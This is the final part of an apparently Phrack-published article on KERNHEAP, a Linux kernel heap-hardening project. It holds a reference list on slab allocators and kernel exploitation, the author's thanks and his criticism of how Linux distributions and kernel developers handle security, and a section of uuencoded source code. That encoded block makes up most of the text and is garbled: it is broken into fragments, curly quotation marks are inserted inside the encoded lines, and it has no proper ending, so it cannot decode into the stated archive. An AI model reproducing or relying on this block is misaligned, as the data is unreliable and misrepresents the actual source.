The approach to abuse AppArmor isn't really different from that of any other kernel security frameworks, technical details aside.

------[10. References

[1] "The Slab Allocator: An Object-Caching Kernel Memory Allocator" Jeff Bonwick, Sun Microsystems. USENIX Summer, 1994. http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.29.4759

[2] "Anatomy of the Linux slab allocator" M. Tim Jones, Consultant Engineer, Emulex Corp. 15 May 2007, IBM developerWorks. http://www.ibm.com/developerworks/linux/library/l-linux-slab-allocator

[3] "Magazines and vmem: Extending the slab allocator to many CPUs and arbitrary resources" Jeff Bonwick, Sun Microsystems. In Proc. 2001 USENIX Technical Conference. USENIX Association. http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.97.708

[4] "The Linux Slab Allocator" Brad Fitzgibbons, 2000. http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.29.4759

[5] "SLQB - and then there were four" Jonathan Corbet, 16 December 2008. http://lwn.net/Articles/311502/

[6] "Kmalloc Internals: Exploring Linux Kernel Memory Allocation" Sean. http://jikos.jikos.cz/Kmalloc_Internals.html

[7] "Address Space Layout Randomization" PaX Team, 2003. http://pax.grsecurity.net/docs/aslr.txt

[8] In-depth description of PaX UDEREF, the PaX Team. http://grsecurity.net/~spender/uderef.txt

[9] "MurmurHash2" Austin Appleby, 2007. http://murmurhash.googlepages.com

[10] "Attacking the Core : Kernel Exploiting Notes" sgrakkyu and twiz, Phrack #64 file 6. http://phrack.org/issues.html?issue=64&id=6&mode=txt

[11] "Sysenter and the vsyscall page" The Linux kernel. Andries Brouwer, 2003. http://www.win.tue.nl/~aeb/linux/lk/lk-4.html

[12] "The Inevitability of Failure: The Flawed Assumption of Security in Modern Computing Environments" Peter A. Loscocco, Stephen D. Smalley, Patrick A. Muckelbauer, Ruth C. Taylor, S. Jeff Turner, John F. Farrell. In Proceedings of the 21st National Information Systems Security Conference. http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.117.5890

[13] "Targeted vs Strict policy History and Strategy" Dan Walsh. 3 March 2005. In Proceedings of the 2005 SELinux Symposium. http://selinux-symposium.org/2005/presentations/session4/4-1-walsh.pdf

[14] "Exploiting Kernel Pool Overflows" Kostya Kortchinsky. 11 June 2008. In Proceedings of SyScan'08 Hong Kong.
http://immunitysec.com/downloads/KernelPool.odp

[15] "When a "potential D.o.S." means a one-shot remote kernel exploit: the SCTP story" sgrakkyu. 27 April 2009.
http://kernelbof.blogspot.com/2009/04/kernel-memory-corruptions-are-not-just.html

------[11. Thanks and final statements

> "For there is nothing hid, which shall not be manifested; neither was any thing kept secret, but that it should come abroad."
> Mark IV:XXII

The research and work for KERNHEAP has been conducted by Larry Highsmith of Subreption LLC. Thanks to Brad Spengler, for his contributions to the otherwise collapsing Linux security in the past decade, the PaX Team (for the same reason, and their behind-the iron-curtain support, technical acumen and patience). Thanks to the editorial staff, for letting me publish this work in a convenient technical channel away of the encumbrances and distractions present in other forums, where facts and truth can't be expressed non-distilled, for those morally obligated to do so. Thanks to sgrakkyu for his feedback, attitude and technical discussions on kernel exploitation.

The decision of SUSE and Canonical to choose AppArmor over more complete solutions like grsecurity will clearly take a toll in its security in the long term. This applies to Fedora and Red Hat Enterprise Linux, albeit SELinux is well suited for federal customers, which are a relevant part of their user base. The problem, though, is the inability of SELinux to contemplate kernel vulnerabilities in its threat model, and the lack of sound and well informed interest on developing such protections from the side of the Linux kernel developers. Hopefully, as time passes on and the current maintainers grow older, younger developers will come to replace them in their management roles. If they get over past mistakes and don't inherit old grudges and conflicts of interest, there's hope the Linux kernel will be more receptive to security patches which actually provide effective protections, for the benefit of the whole community.

Paraphrasing the last words of a character from an Alexandre Dumas novel: until the future deigns to reveal the fate of Linux security to us, all wisdom can be summed up in these two words: Wait and hope.

Last but not least, It should be noted that currently no true mechanism exists to enforce kernel security protections, and thus, KERNHEAP and grsecurity could also fall prey to more or less realistic attacks. The requirements to do this go beyond the capabilities of currently available hardware, and Trusted Computing seems to be taking a more DRM-oriented direction, which serves some commercial interests well, but leaves security lagging behind for another ten years.

We present the next kernel security technology from yesterday, to be found independently implemented by OpenBSD, Red Hat, Microsoft or all of them at once, tomorrow.

> "And ye shall know the truth, and the truth shall make you free."
> John VIII:XXXII

------[12. Source code

```
begin 644 kernheap_phrack-66.tgz
M'XL(`%U3/$H``^P]:U?;2++SU?H5H'W)O'K%G`V!M4/U:H4
```

```
M'XL(`%U3/$H``^P]:U?;2++SU?H5'<]A(Q%C;&-,$H8YAX#)<,+K8+/#W"Q'
M1\AMK$66-)),8'=S?_NMJN[6VV!GD^S,7;09+/6C7EW=5=5=5=6OO>6A-^%68`:3
MT+)OUWJ]]1^^]M."9VMS$W_;6YNM[*]Z?FBW.^VMUF:[NP'EVMU6>^,'MOG5
M*:EX9E%LA8S]$+G6`P_GEWLJ_T_ZW);;/^)VR&.76[=-^ZO@P`;N=;OSVK_3
M[6Y1^[>[W?96IPWMW]MH0?NWO@KV)Y[_\O9?7]78*MOS@X?0N9G$3-\S6*?5
```

```
M>L,&L^N0![']C>^SH:*_)=EV749&(A3SBX1T?-;'J.0=-B?B(S;P1#UD\X2SF
MX31B_I@^,G!.`^ZQ@3\+;<Z.')M[$6?ZX'1P9+"[=K.%X-8U[4?'L]W9B+.?
MHGCD^,W)S_DDU[DNIH6.=Y-/&]M>[&*2!LT;.S:S?2^*@<;(N?&`6-?W;L2?
MP(J!7H_ML-9]M]79[6QVNKUWO79OL[MW<72TG4!P/-?Q.+OSG9&J9(X=U]43
MH/8$-&GU>C9NL,CY!S=CYG+/T/ZIU0I%`H!:<\9,AWRV0H7]L5XFSC"T6@WZ
MXBSTL$8`1`+T;:WV:>*X(+N`_<1T2&&O")/!`%5M5:^`Q%8-%AA07U(.,`#<
MJYU'<$.1S]IG37.\F$TMQ]/QQ0IO[(;D8A4^[H@]R>WT&E^@'I8<<>@PVR76
MB7[!/,("!C8$V>,`6C$>Z]#"/`P;K'X163?\+5N)V$<$"_)GQ^^NV$<"C%\P
M3D7-J[]Y]0:2=?>Q=84TU_B]$^O]R\.A>;![>'1QWA><:#5!'LC`BGU'IRKM
M*P-46&_#&`2_^(.%!89LN0Z"A@80)-9_A69GENOZMA5SMC)CUP\QCYB^,CLV
MFD20P-7(HR(8V%P[(%"LK8MBB!,%0ED[[`343L@D`$GXH5X7I>N/LZ>(^Q\>
M^M`?4%/&T"&MF*T$S6:3`560A*6G?!KQ6"=%;2E:,4.!V/<]CGSDF0Z=V,ET
MF-@'P,"SZUX:*?R&RA=UL_V$<A=$=A!R_C@38RBAR_='00U<S@.$-?9#MC)"
MM?&]4030J*6HL1%(A.5T]:G)?L=:V]@)_M/#]#=[*NR_2EH#G8ZCF1/S?],E
M7,;_V^CVP/YO];JM9__O>SR+M;_M.MR+OU0-EFK_SM8/+7`%VYO/[?\]GJ7:
M_W:"2<W@83D<C[=_N]>!8"]I?WAO=3I;6YUG__][/#^^6)]%X?JUXZUS[XX%
M#_'$][1ZO:YE8@)[F9C@I#\\.CSYP"+?ON4Q.-XC\(/L^"$`#VG$QX[G(("(
M6=Z(^1`AA.S:`0`^`'(\RWU;1KRU!G]>L]VC(80-WNR^P<XXN!7LKTTVL.XX
MZ.:=]C7#$&V?1W;H4.FWVG#B1`S^(131#\B3^-`_/_FEOWL&G-\`\Q%"QMZ!
MH0@[1+ZGTYGGH(<8:>`K877L6=QE4W\T`_?=OT//AN7EU2"YA/SWF0-06>C[
M,0-/Y@[\_1L!*)QY33:<H$,<`S&(%ZGS,<2)0]]EM]*Y-!KLEKPD>.$QN.UW
MC@7^_C1PN8;4`:*(C4-_RF;0=BY\(ER`A=4_1<0-`;[F"'LTLV.0+P>'S(X=
M$/M#4_O-G[$I-16TJVI.I"L4DD#($8DK1L!"%\#5?8!ZGYQHTB1-TX@(J2)`
MGQ_&;%4D2B62B;L'II16@PU.]SZ8Y[N_-I0`S8M!_QQ3,>_(Q+?^$-_-P<G^
MNXL#>CW?^ZM\A=K[[\]WCS4)VX_46T">(P2B;,P_L?<'9VSL6C>19IKP;OZZ
M>SBLU6H8+K9;,NWP5*9T5,K!0*:\;FGXC=K2/Z(T/87#_L44@.3U8&``9H[2
M'&>0:TK?S),C\_WYZ<49PGKS)DT_WGU_N">QMB"4L:[M4:;:WO&^.>P/AE0@
G_SA>/?HZ'0/<]J%G(/S?A_3._GTX_[QH$^@-DH9>V>_848WG[%W>O:;.3S%
G,V*G(/STV/,ZQ4I`WB[>[_TS;WS_NZP#R6VYI40/.RPU_,*$"\@LWGY^R"=
M\]/?4`HM[>3H>/`>9'II'O5/DO9NM337N;9KE+"W?W2DU_&[&?G-7MW0--NU
HHC=3NSI:#(*]4$<0J>9A=QXJ]4@".+N*#(A^OL(<1Q&=3>.76_4;'-&`7>#
4K$7E!(#:P1IA40(^6_B"945`;BAU:X4#9X[C6Z>IB$#8P9*O]$I40&I[9Y,
)54L)T?\=TE=%D3@C'*I1>*>H`QHQ^J*#PET9,66(`!#;HC9<^TD<&1;P7P:
D<(`8`O(1"M"NFK0)8C(TH`#Z>)$S*4B):/,IAKSOR86D4%P2<%$:TI5RRM$
03/_P4-?I&85`FS"S(VSI4N2$O;J&S`Q&J&-?A2WG!7Y+L@+';@H5IPJ$\EB
THQU*\FU@X=OO.X(M+5,:T3^TD(\E$BUP:$ST<?X!M3.T<"OR03Z(-B&3U`_
MJ:.^R#&A6@"CD1I[,ZE%D9'D7H3^K,@'6'SH^8S'7DZ/H`W_0O$J4-H:]`M
__KOX)@B*>,1$''B>URK@1+!.RF3AA.[8_"R,`(Q33WB[AB<T<@<\>O9S<Z!
Y4;$2`TSF@1#VG9T0?62[TG>8]G[!"^@5A,5>8QU_0`&E6J'M+>YN=$SGBZO
O%997M$882L`F4F#&+F<)L@4<OVH><-C>"]F"^%"B9)KF2\G&A+*I2)(2'!3
.4$(.=*E[!KL^B'D8SV%8C344D,F#0F":""!]`*\+&P!`=MV_8@3T;70<B!(
Z]_;(H33ZX3,8&,+XJ(1A!+QA*V,ZFR%Z0J807("Z*J%4\#T"60/PQG'&75H
^'(FZ4/"9X!K+R(P:)Z%/(X?SD**<W0@!**P'1RAA8*1M<=*I$PP6$'-C!^0
-@+X^'LB#-,AM\%*KGH"4EEWH;(HQYU>M\%&OHF6=J?5$$'"3AII)+C)4\W[
"(;(:J:6'<O@K\P@8)@F0@^1B)@P32*%U,48D<&%6,D*2(^H%NCD.7[K\TO3
_#M5:@K?(9$'N0E"&J1(14G+N%<Q*@PPKNC`F[8@W1@N&'+0D+Y!BK'!;!2[
,!P[+45`*FQ9HT!"39(@$D5M2!,O,A5-/J39DQ"G/UZQEW^[;[74?R\7EKL(
T1(5DNZ"X`"M(^A1:!,'E<1C844\%L>6AQ^9(@PI:DUH5S"SH(A%L)B02&Y"
[`M/01`:^PV:H0CB<`ZIJ6]1H#;VB[1*0%].KXQA%U3E7.F,*LO&SO",A/W!
N<;X?!F^T_+S.(?*$N<`1A[).6`G9F4U:3$PE:UEOIK2!<PG)BZCDBW9CV0D
)B.5IH&54@6S_"=TT!\3XV`E?HFU27$[R]I-FGK)%\**-2RDH.2SP0FBW-;]
V!;_R^<+464$G945RB/7>"I%RE4T2L))R@1`;;#0^J3@AMR^TZ41]OP8L\@0
2O&3"R5R(2?/_HLB^U21#*3^TO%L/P3@N'$`"]]9[HR_8/H-X%BY-UZBG2Y"
-(PG,2,?B%CQE$4I%)-*3)UH:L7V1"$<E1"20.;@4\!Q);[*-&4%E+.K3>K&
<J#7Y2^H)N`UC!KY&8^!3[H-\\,G2@U/RT0D(\*C9&A:D66E_U)=H`=)!T/8
-*D8F")<)+&#0O8Z*&U(@V21HY'W1"WI.F).QG>D'/!'Q:R:_+1RG\(UQ82R
;PHE`&_2V],A3==UVEL`-K,+(T/;8']A_ZMWU]K4U+DZB+WH&6=\T=1?E-KU
<?6*#4!*.*6=;O<`N=,&GIE0L`JJ,(H1J'/].M<0TO?W1K%?=)]1OJ(Y:*.&
]*FMC"]M&:K?4U].!CL1]Z138,(9]I!<Z:YC>525^3A]]=$2_^1`(:'LL+4V
B4B@4CU(,J53*=(G0.U@V.594VZ:6/&E:>*&(M-\^593$CZ?>1Y*5\>@1779
3`,9Y":@[A7"/DCG3>597\_&;2C"F\K7[75%:B>7VNZ\)G"9UI59:[TN$RQ`
6+'2>GU)="!8)*"B/("JKM"1%#?3W3;M!NXQ@[]$53:G0Q(69%$ZNE\B7=3#
&EIMP@$GVA2:%S(#_>4N>Q=:=YR=\$_L5S]T1R]>`HCI0Q1C8&B'W(JY*3;(
F6(OC2Z;EF`E3(%P"JZ(P)Z.'Z)\HAFJNJH/XV^H$]XFC?:8`P)7NW3:1NZS
0Y])@!=`./__>(_-'_E9:OT_L,+8L=PU7+G\%$+&8EL!GMK_"__2]?\6KO_#
[_/^W^_R?/WU_V^W$C^@M6LFM9`E6DA3+G(IN;2:&X+7[$\?66(6FUI48MZZ
J*G&,X'R5&',3#:6YA33.<1J:R6J7%N14YC0H8K"Q-31Q"B3J/@%#;PN,%T7
<0!DX.S&QRO\$GN#P?KJE&ZPGUB[1Y9:31<2;8DQ))\I]74(]:[<VSI*O1TK
M!N,%!NY>S+*)W:UJ$D_RJRR:F"%I"<Y$/I+2M((`74VJAJ1"SP/[CB1A]L>4
MYO7.59K]*IF<4A2^N&))4Q0($W6,9)8MH4EDH`7>?-U@KPD_;DP@H>!N8D3\
M-BL’P**VH680+,&SE#,9O81GX2PHIVWF%71&Z`64+#I-=>4TU1.GJ5YTFNH5
M3A,J84E]R?PB<N/9[/YW/TO9_Y$_NW;Y&FGT$KL`G[+_&_+\C]C_V0’[WVUM
M=)_M__=X_H3V’S?(V3Z^WC.AD6)!0&Q86\0/6,3D[Q-D-`"E]<5O;_*I*/&#
MIM:[`1:SG!K"[C]FS_-P\W:,Z6,GC&(C;\^JS=5<8P@U;\`>+01$3@K0>IN:
M]Z;V:Z?B<YB8_9%\27^F5I-LT3H5);*-#L;##?:F1R$S_,&WSB9^PM`!KZTN
MI’9;;WI76K5\E?J0A-M"FHH`X3\YZ#8!M$<<)Z%137OB@^KJ.3J%@T!\Y)V>
M&N)YA?OL4"P"0,3Y"*WV3’SK&QUQ[DOF3B!L=X4PHW3:5\DX3X0H]&CMK,]#
MJ6_G^BK?R4.)J9^`?$M=#C)_9!<>;E95VVYG4;’]L(P`T4RT*H’Z[.0\\2QE
M_W&*:"WVUW"":(T."’^-^’]C8Z-3./_1Q>QG^_\=GC^3_1_2AO1WH35Z&>56
MBQGJ(K,GW+Z-Y![V:.+/W!&+@;P;VF8?6)YC-S1?4&2-_F[9.*;(`X:T@X1(
M]6^!ID]XP/.:$US@)/9AW/FF$PPH[*%_`;P<`<KOZFN4!2EG%IZ:,$!1+>9^
M/#:=`-H%!,AV,*HF%YZ(LRNS*<CO=)<C)%$*H01EDC"]:FH!DA\A26;?VQN"
M)"$Y3QP$KIRBQRT?[<.3@].C_NZ’EQF(A3EZ`3F=HU=PTVGZ)$5L2X/635:6
MI8>`/RB?U&G"D]"T*RV>!H\0F0(K.HJHPOF5,I3O&OXQZ-BPFDM)0324OR38
M>97)R?)’!!E&U@W*[1HI%56[=0K$@N<B"C1Q51C/KB22PA0#5YGE\E:&KV%V
MX,CJ"/MD17*L>$$=Y\?LJDB*Z>.C2*\>=[@K’>TG.D76GR/7^G’H2^JW@$Z5
M_E,S6X5Q\WE>:]EG,?\O*44S[<O>"O.X_]?I=CK)^=_61H?.?_8VGL]_?I=’
MW/^2’&9,FAQ2_U`7PR#$U=55MG_*3DZ’[&+09\-?#@?L^’3_XJC/3D_8+CL[
MAX_A(;P/?AL,^\=8H7BGC(L’2->KKHP1.>)L9E4.^F#Y=(_’Z[CCI9P*_T&E
MVRHPT2W:C&H$?NR,’ZJR’H%W&T_`.H^JLN[DQJ2*K#BNQ#.=TITY/](Y7<Y*
M9PO%R<+==WL@]’*I](AAJSHS.6C8GI,OCAMVJG/5H<.-N=ET]+!;G9T<0-Q\
M)%\<0^S-H[YP&’’KJ7*"V]=/%2.NWSQ52AU/;,\1[OG%B?EA^`N0ME]K5PB8
M-E"=02.^>8-W&N’1#29V);’L#45T`1#MR-LNIF)P4TH,K-%V<@,0N%C;VF>P
M[E8,/>QZ!DZCJ>NF&8!IX2/3I"MP4MQJZQQ+[Q"2-PCE<=`^]&PJ^E:X"[U4
4NP37XX&FCLNB0"=IJ7@"&=I’J"<A&ITK,O^V+U:%H,-H5()PRB*2X*(OOO+
MFR793%C&56J*Q2A8`+]2V/?](>KSF1X8-5W7Z;ZM52/`;7UJUUM6>3$8R)`N
M]H&B/HFTZ);B%;8*XR[>%.2,@!KX"^\"LKA0*R>H[)U?,;OCX;4?@5+*-`48
M!GZVBO;2Q-=B]BTTEFE;-ABZ51(IOB:%]OL’AR=]\_ABV+_4"0:U+PCFWLAC
MQXV!@BE3#/12(%9X(Z[>*K*^JK9HZ^4L`R_*VL8Y`D)E0M>[U?]2PB]S9]Z<
M?*TF[9%)%QQ$L9Z(H2&V>J_]#.).WD’<N’T0`*=2,2EV2"0CRY8O7I*B(*93
M6=!=9`16R.CW!DM:,[E\#=[5_6LB$\_M;L_3#)FJ-G"R5<^=;%?)-[B-T_38
M`C#R?36.;G.JA-LBZ63PX&QWKZ]+>DC^``3W9Z;B$),G&7EDSO+(Z\&H3NYZ
M,(R5;FGWO=D_/V?UE>BM.A(%879R05E"O+CQRC3’,\^&7K>MI;?+T15B(`D\
M)"/6,6ZO==K"62;D!>1A&’CC`Q9_%I-&N).$W;.+H4[M3RU$K2,R]D]/^@V6
MR@$JK?U,$C=I7,$5&`2&#95`V]\=[NI04MY<ACLC,5_>-I8`(YF2KN%)+>K@
ME"!XDKT?$\24ANCVE"`WQ7*Z8P_:$!M&]#531+&%’@A\W<8-5A?S>F::7T\$
M=#C`!M$!6.$*/S(V)%N4X;82^8FX:5"*`EIP%N)^:X0E95VL"&)_^VA_`AJ-
M4@\"?LSL4;"*KM!@53TA2<U:;1S8@DS_DD-I14$23]HW@#8A],H!O6J@5Z"H
MH==7V>7EY5MFTQ3O-8=_>,V<F*;E%%P$U@U7’<`/V82’G(T</)*`77A=7<,G
M/61=$%1U#U^N]0H7YZ6UTAV[C:+6-N98K5PM8+FZ&!W@""I@)`)1$E%3F\0^
MV>XHX+8S=M`>BSD_7#B/0!Q<3H&+4W&.!WTX9’)T6]=J508D:4F#/4HOLB5’
M?>&*(9R<7V`DIQF1,^B?-+,JWFD0,-3]D-+P&H61#N=%Q5"G`*W,&CBGZ-X;
MZ5;LUOV*>YD;[L1>_#E($ULEJ"8:,N9&’?+=>T?=KTD#6V;THC%.W’Z8Z,1=
YH;">=U0G&/\LDY(;FO:!1>3&"&D&3_WTLB+1XJ#)@O)1HG"R@’+9W^NO!95
\:6.2WX18]*/7I(SB5*RUJ!9S<Y]`P]GS&4SJQ’VQ]:5RDNLM`1:(0)5M%SM
2<G0,<POE0SZ_\M+!E’F)`-]9;YHP)G/]14\)IKE,!FX"G+!>JR05JH\IR?(
6?PO%$P:KSQIDC)%_WVCE`#+W.SZ)S8I*3M"_:L,049^BYL"Y=RU%Q[:<ZLZ
7T-UA>(R,)1)%@M\0$TWG,F+V2((2’EJ`Z$6+GYE25E.Y;WO9$>29<’G_O/<
?]+^DRX4?[T>-*<#J1L$*SM/2L<?J_N0Z,P)OY<D!*5[V^6G(P)3]>F/QS*A
?+EYSM\5J08+DONH<PV%J[#[LVF06RO’Y2BZ.E’<>4V-1’&X8$&C#7RZH(AV
*6+@RIQ7K\2<`(6?#OO7O]@+*+2"*_DB@W(<VH&H2*FKJ[)K-63IU0YSMK5,
]DJK.\(;MR&3Y@H^:ZF^U<’C[ER*Z[@_.E>Y2\@3R)]S4UD4+4,(QIT[3H=2
%QZLA+.#IQ3#D$X)H^@W.L@Z?F8T`$>@M4)_2NX%R(UD!-NF.T-D]"UO$-$+
98SR/$1Z>?]/<_KN_/D9T`P_%’M\\?]’`.\6FCLMP];:4JZ(#V"O_3SG]/UR
",5VIT]A,M5/X=,ET4$*DAL5)%*B*^TR-EZ1(/O8?’)11C]3L>4(Q-HLK5RF
;!EJ(F#7GDB*Z.P_$6-;4<7BU=M,#R@,JGB;`!:9WVPU.3"+L1J^KT-NX:1@
!;+L?0(Y>>U4F-`TW"<IE.9QL.>059\3M">3ZGA3A/$D:;@BM2AAM"&]0):(
:ZN)$G’KLB2)Q;\%:1).08$H%9164J6"SB\@:^_LM\7)`N>B3!9%A//(HHAO
6;*RUT0\35?&;\F1]G_M77MSVS82OW^M3\%HFD32R19?(J6X[=1QG-93)\[$
N=Y=DXZ&DBA%9[V&E)WX;O+=;W?Q)$%*<N)SKXTPTZ01E\`"6(`+[&]WY:&L
D+>,)O,9[*&M]2X89’KO7;.8-_8^V4`EU_(Z(K&LUM%P,V\QF6;CI:$#;>S-
^;-STKJT[@SC470U76W8RJ*Y=36_G"\^S/F&UI1;<=’6IC9;4\’);+^2CT_*
F`,?;D/]RN@#=+-MZ@/ZE[_<2(.Z0,(LJS(W#KS,/S]9*XS-/\[,8,&T!HR3
R^_C21IK.8U"?N5)&:FC=J7J_S:G?^B!94BY2G13T-’9Z8\O<_7+=A/VQ1-5
LXKXH8K_=E@1/,*(P.^F4L570EWH?<)6!U.L+1-XF^ET%H:_PYC<-<,:\PAY
M[CWO’1W_O+8N6VF’\&-O>36=LJ<)[]RG=5-?.NWK;92F]+`)W&"[S*JD#%EM
```

```
M9>!M]!.="*3PP61>1U-AG9+&3I0?/B#L`J''@+*U1X37GN.*,H.3YP`9I-;H
MG6F2/MHD>%./P9O$*5AK^19V0/2AYGSR>.IK%,Z3TY>_')WQQ2O-25E;)>\E
M-X#M`Q7]7BTZ$S.SKH@A0SP?2OU05'Z+SB3Q>(+!39`=BU[?MC/F1IA!O>T3
M[,V:+J)A/)1)A&3\,A0`8P?K]3`;4TY\*$&3%)^<@"0,%*=F,F<5QS!NR>)&
M#4Z]^.A8Q#K*O,8\\,K`;$R@31D'&DY`+)N]``(F?[VST^.3EQ<GM>H&T)YS
M8%?56T=_>_/3^>O,2V=GQ]:W"!.,DL'['U+Y`%VWOL=7?V\\Y-=6ML/_OH@N
MXQ$LP<]K8X/_E^U[#N)_$?8;AB'B?QW/;N_PO_=1%OU_[<_PZB<+\5Y4*G!V
M!`5R!C-O[1];K>FDS\&Q:>N;6HKQGV#'B6;P-*FW^E>3Z=!Z\=TWM5=_?U;G
M&4Y2]&Z*HSE4D\R`#+[M!POX[Q+_6&!(-.N@P?Y:S98].#NGE!FF<0#O'PSD
M6R\8)G<6)<!D*OZ9WLSP#='6P2(9HC\5[H'08'HU7,`G/H6GN:Y=+BILIQ14
MR<P@JGPU[@-%^5\'T?P.L[]N]O_T/5_F?VWC^H<___5W\AWLIN_ROV^9_Y9?_
MH$WW9M%'O)I16M[ST[,3JZ$!25>+%>J+E3TT"(P6T/%:M;5,%H,6O#>9CQ:@
MLE83"1@KR?M)+U9UE=;FRNP(%^FH-H):7L2S-]C:$XO*PROK\BG4_HA8H$R9
M+,[>2!BE6(!&>JR2GA;#%K`5X>^W/LUM,S>V_0C-4___)@X)9+MKE80[+30IN
M/)2Z;CP4AZVE`2"2^6S-5+B%=$:"7!SPQA)'7*0J98=;$[:-.$&\@_EK'L,$
MS>W33=1>.6_L+H3L,;Q/O!V9F=1ZOH!%(R60>:)./_*<JO+*F_M%-I:L1FV$
MV!WS)VF:V9#0U\IG],T<<D<:CO\CPSF"G.-OXD>0`L/FA>8?BK1!QMCH(W"E
MKQ")B(0?2O+\'D?SQW3$3B;Q=6PMW]^DDP&()KR^2&ZH/P_>S;=,?GL!`CO/
MV-,6(U$3.6.WAO$UKD&1_A7Y8G;-RAZLAM,1RU2&!\ZT27G*6'ZS]QAE,YY'
M?3R'XHX#YUM1%T+H;A!#QPYY5!':0H>S.!T+3W3XZP,<OV<QU(\S,KF,J:DG
M1/XJ68R3:&:IW.OHNLYQO(,!XO1D:_UX]2&&G1334>U_#YLU[)Q[=`5(R1CX
M9L.IH8OGO=?/SE^>_5-N-D-8*W9VIU$;3>D0\X5&H@$5R`FERRB4#?0I1H`Z
MQI)])+<'D$7FLZL:E:TB>35W%<NND;1]Q[QM9)77>*86DLLF$UFJBW$(2X$+
MK#1(L6UPR#C1.D\/,N?]/WG27ZT4Z'_H6(,KY*[4OXWZG\W]/U'_"T('];_`
M#7?ZWWV4G?ZWT_^X_J?T`OR?*!DC$(>V7/0VNM8!,3``36L<+9G-):/*30[S
M.E^CL5PE*0X&>P,5%]N&IFO8MF*!1@*;A?W990-1K%#D-(HO4RF*/WCL,]1J
MP%?X!K_![R>@Y4YF$Q:$*OT0+9G-#1F$+XT'O9##P4TJBO]HM9A@QZ[?.K_5
M"_I-"LR*0IYQ>WX-7VSQ*O&50JVN49>N0?1VD0BQ"C=\VKEI'&NA:_I;-*]4
MKU_ALU&L>644K3Q\*=N6AF1";MY.?E.#(DBX`,CG>K<+^YU3+O(,]]%4Q.!6
MH'IS[IML(3&0'&^*U''&A9!^X%S,HCZ*2(P#J5C^=)NNZ]U[D.T>YUT$[]!X
M/]!99?TF&(;^RR?.B/C]Z]1Y=D65HON_"%-T_SL&>2830.M+VUB?_YT*U_]<
M._1=T/]"S['_8K7OHH.;RE>N_VTS_X@6/%A]7'UN&YOB__H!L_\$KMMN!QC_
MS[']7?S_>RDON$K$YCQ:B33VJ;"$5RJ@5+Y$.\^>!<H^^?3M6><4H`X>[6]7
ML!)4X\B+E9PS]\Y_/H"*8M]V**\VTUXE_-]M!W5)$WANK&@DB>UW=!K/,6GP
M:BI#XYLT':?K9FA"22-(/#<,LFWU-9XMF0W&<R5-&PY17=LW:0)?Z[O?'Q31
M=`-5C^O9?5_1Z(EG%(WKC#HF#0RB:@O7E&W2M!U7XR?J=A2-;`K55=F6XX6^
M28.3H?$3PA@:-!1<3O'3'A30X&1H_'1=I-%%\/AF,,6P?==C)'F>P,^W$T,L
M?5!X8-WC?@<]"[NLL>%PT!]4\A0TT(ZG:$+;H*&!=CU/T/2''8/&<VV@Z822
MIF.VY76`'1!`2>.;;?DXT*'G.[*U:.0;5#2MON(ZBDR.VB%P[7=5/6V3H\`'
MKMN*H\@Q.0IMX+JMZND.3'Y@_0#7OJ()37XZN'P"-4)=U^2G@R(4JGYU8I.?
M;@`\AQU%T^7\:)-*(MUIVY+&[U0JY9NAQ-;\V13D;;[_7X;^V(S_\%R???_M
M=N![^/VW0U`)=M__>R@2_Z'-^A\=`O)[C^D?J6RS_@W1N*5E8/WZ=URO[6?/
M?Z#R^#O\U[V4_^?[_[N,U;@V[.&:0(DI[$I3(\9C)EIBQL)`%^9LF^KA1:+U
MG?7X'X\/,[#AQC*)KT>HN1X6!XN(,5)XKQ\-J8J\`72I82WPQGTN8T$LW\[I
MPC#[1EWGI\AE&*\*JT^1V8=75HW2-Y)W9YV9S'F,8W9!.DGQ:EWL",,'`J4P
M;UK8.OS)_):9]X.!*LDP3@';Z31(K*5&1\>YG@JWW+S!81NGV.48+T'S[BGD
M%(M#EG=1K.(5^<FS`^L==IM=K8ZY)28[.\CEI"[O_;4J\!23>UW>MDZ*W6%H
M,,3H*OM2?F"`JFDU%E.&F,'C=)';,1ZXT9@;#ZG>6D$D+_Q=AO)B@;\8UAXK
MAOHQEA:0'"H;`36M"533>G7TXTGOXO17,B?(`WXM'_:'FEK+;Z^7N2*X-;\T
MS5@YS"?PG@]1UFI8K_`I!V00HJ./0`HIS633,<'V5O[NXMV*#`N&_++!T<>#
MQ^G*#)Y]VR%3SD1ZCY]D63TZ.WG]QJH^-\._,1&@RH35RUR?2@2O12(;(84Y
MHVE^#6IP,":1++HEZH5O`_\W,[*#%M;A`4)#UHL?0WGI81XRPE?@Y5_92^?<
M3H),2!@*_@-3QCM-JRIX>3B]JE=E+<2S3HW6I\?O;-B_B\7BH1.D*`U-ZFZA
M3!#+(G#.ETTD>6T+SNO;S.7EY\ZE@?,JFUKXE,6SY:HWG*2(C2+[+'XON<-+
M38OL<:GFGT45/'IS_N+T>"M9V#3_NJQ<9F3AR]O&D!<XJ^@D=W8*,S_&G>,J
M)?4FQ>,/2]?1M!;P2_)ADF*V+OQ,4MX/W%.P#63Q`?&8WY@VBZNX'0-QO4MI
MI;ZEEY.E10G!1,LB(`=/WH##N5PE%J:.7,%V&8TPV![S^Z;>4="%[_2W&\@?
MX2[-G]>O$&`(U<L5#:X6MXY"C:`C+V^OH&)LKX"-7(08WA"/GZB)BA1EAO(C
M269NA)HLKUG!6[Q\BV5^N>4REU=:-1'U%,>45K7$9_*EVFKEAD*'YT$+#0S)
MBZZT'&)7)TS,,(Z&<$3SV0`QM14>]'IXWE]-YCWZI<>C"=9LMNA(<M1D\!&F
M2#[TZ'N&P%/<,[8W:8SH^&WTN$PKS,%0!G1Q_!:1JGFH[_48F8:_>%B7O#89
M:+HDKX:`":@5L'\S7(IB30`5RJAA7<M'2(=M@TCKOVG>TS5\W+*">OGTT\%<
M*8QJGW;M3(=I;)HR3K86K1966OH6^<1>8GX]RJU':?4\%Z3%Z\!O/B:):3LN
M_!$&F(;/1NT_M.%1&&!>74S.U\%\?-W`9OGXH">:#V-57.6#8IRYRX=_TV4^
MB#O46-WZ2E]X:AK@"BYZO&=U&#_AG<IPHQQP4=G#_F[>@M7=\4.^!].`<6#%
MNKUXZ\UX3X;,S,IYKBT9GN=*.UVP5^&4(=9H!AE=$I&'NS_G[W=R'M`F^QN-
MAF)25./ZM',K(OPO,R-^[I3#MX+`TQ,.VJ;/+4=NBS[U")^=6O$$O\T65U.&
M]!Y(S'RQLCXLDDL><`GV7`ZE+CB-B3:Y!L9[S$\36!$V?:#>-A1IM&D>ECV4
